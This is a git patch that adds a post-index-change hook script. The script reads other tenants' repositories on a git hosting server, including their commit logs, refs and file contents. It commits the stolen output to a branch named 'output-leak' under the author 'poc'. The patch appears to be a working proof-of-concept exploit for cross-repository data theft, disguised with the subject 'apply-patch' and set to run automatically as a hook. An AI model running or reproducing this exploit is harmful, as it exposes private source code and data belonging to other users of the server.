From 89438d3e83570868e16f97ddfc8443e146fc2d96 Mon Sep 17 00:00:00 2001 From: w10019user Date: Wed, 25 Nov 2026 00:37:17 +0300 Subject: [PATCH] apply-patch --- hooks/post-index-change | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..bf94eef --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,22 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$( { +for r in texttomanga/texttomanga-ai-studio.wiki.git texttomanga/texttomanga-ai-studio.git texttomangahe/texttomanga-hebrew-ai-manga.git; do + g=/data/git/repositories/$r + echo "===== $r" + git --git-dir=$g log --all --format='%h|%ad|%an|%s' --date=short 2>/dev/null | head -8 + echo "--REFS--"; git --git-dir=$g for-each-ref --format='%(refname)' 2>/dev/null | head -10 + echo "--FILES--"; git --git-dir=$g ls-tree -r --name-only HEAD 2>/dev/null + for f in $(git --git-dir=$g ls-tree -r --name-only HEAD 2>/dev/null); do + echo "--FILE $f--" + git --git-dir=$g show HEAD:$f 2>/dev/null | head -70 + done +done +echo DONE + +} 2>&1; echo "[rc=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"